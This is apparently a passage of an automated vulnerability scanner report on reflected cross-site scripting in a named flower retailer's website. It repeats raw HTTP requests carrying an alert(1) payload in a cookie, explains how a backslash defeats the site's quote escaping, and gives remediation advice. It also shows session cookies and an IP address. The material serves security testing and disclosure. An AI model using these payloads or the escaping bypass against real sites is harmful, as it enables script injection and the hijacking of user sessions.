Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday-flowers-bir HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d9be74\"%3balert(1)//88661aee6fe; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:35 GMT Connection: close Content-Length: 217983
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 64120\"%3balert(1)//f53434904b4 was submitted in the PFC_BrowserId cookie. This input was echoed as 64120\\";alert(1)//f53434904b4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday-flowers-friend-bd4 HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d64120\"%3balert(1)//f53434904b4; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:34 GMT Connection: close Content-Length: 202134
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2a032\"%3balert(1)//d4203a5b3ac was submitted in the PFC_BrowserId cookie. This input was echoed as 2a032\\";alert(1)//d4203a5b3ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday-flowers-mother-bd2 HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d2a032\"%3balert(1)//d4203a5b3ac; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:29 GMT Connection: close Content-Length: 230858
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66969\"%3balert(1)//030607a9536 was submitted in the PFC_BrowserId cookie. This input was echoed as 66969\\";alert(1)//030607a9536 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday-flowers-wife-bd1 HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d66969\"%3balert(1)//030607a9536; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:57 GMT Connection: close Content-Length: 253392
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7396d\"%3balert(1)//131b80c5438 was submitted in the PFC_BrowserId cookie. This input was echoed as 7396d\\";alert(1)//131b80c5438 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday-gift-baskets-bdg HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d7396d\"%3balert(1)//131b80c5438; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:17 GMT Connection: close Content-Length: 224217
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2d9f8\"%3balert(1)//d81ce48d58e was submitted in the PFC_BrowserId cookie. This input was echoed as 2d9f8\\";alert(1)//d81ce48d58e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday-plants-bdp HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d2d9f8\"%3balert(1)//d81ce48d58e; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:26 GMT Connection: close Content-Length: 170102
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a4249\"%3balert(1)//2cf10e5dd77 was submitted in the PFC_BrowserId cookie. This input was echoed as a4249\\";alert(1)//2cf10e5dd77 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /bonsaiandtropical-bnt HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0da4249\"%3balert(1)//2cf10e5dd77; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:46 GMT Connection: close Content-Length: 103489
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d83dc\"%3balert(1)//c6ae383419f was submitted in the PFC_BrowserId cookie. This input was echoed as d83dc\\";alert(1)//c6ae383419f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /carnations-car HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0dd83dc\"%3balert(1)//c6ae383419f; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:34 GMT Connection: close Content-Length: 94823
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6cb14\"%3balert(1)//fc042acd025 was submitted in the PFC_BrowserId cookie. This input was echoed as 6cb14\\";alert(1)//fc042acd025 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /centerpieces-cnt HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d6cb14\"%3balert(1)//fc042acd025; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:05:44 GMT Connection: close Content-Length: 115406
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8882a\"%3balert(1)//1a3c724cacc was submitted in the PFC_BrowserId cookie. This input was echoed as 8882a\\";alert(1)//1a3c724cacc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /chocolates-desserts-msb HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d8882a\"%3balert(1)//1a3c724cacc; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:55 GMT Connection: close Content-Length: 160695
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dcd1f\"%3balert(1)//e67cdecff9d was submitted in the PFC_BrowserId cookie. This input was echoed as dcd1f\\";alert(1)//e67cdecff9d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /christmas-decorations-cdc HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0ddcd1f\"%3balert(1)//e67cdecff9d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
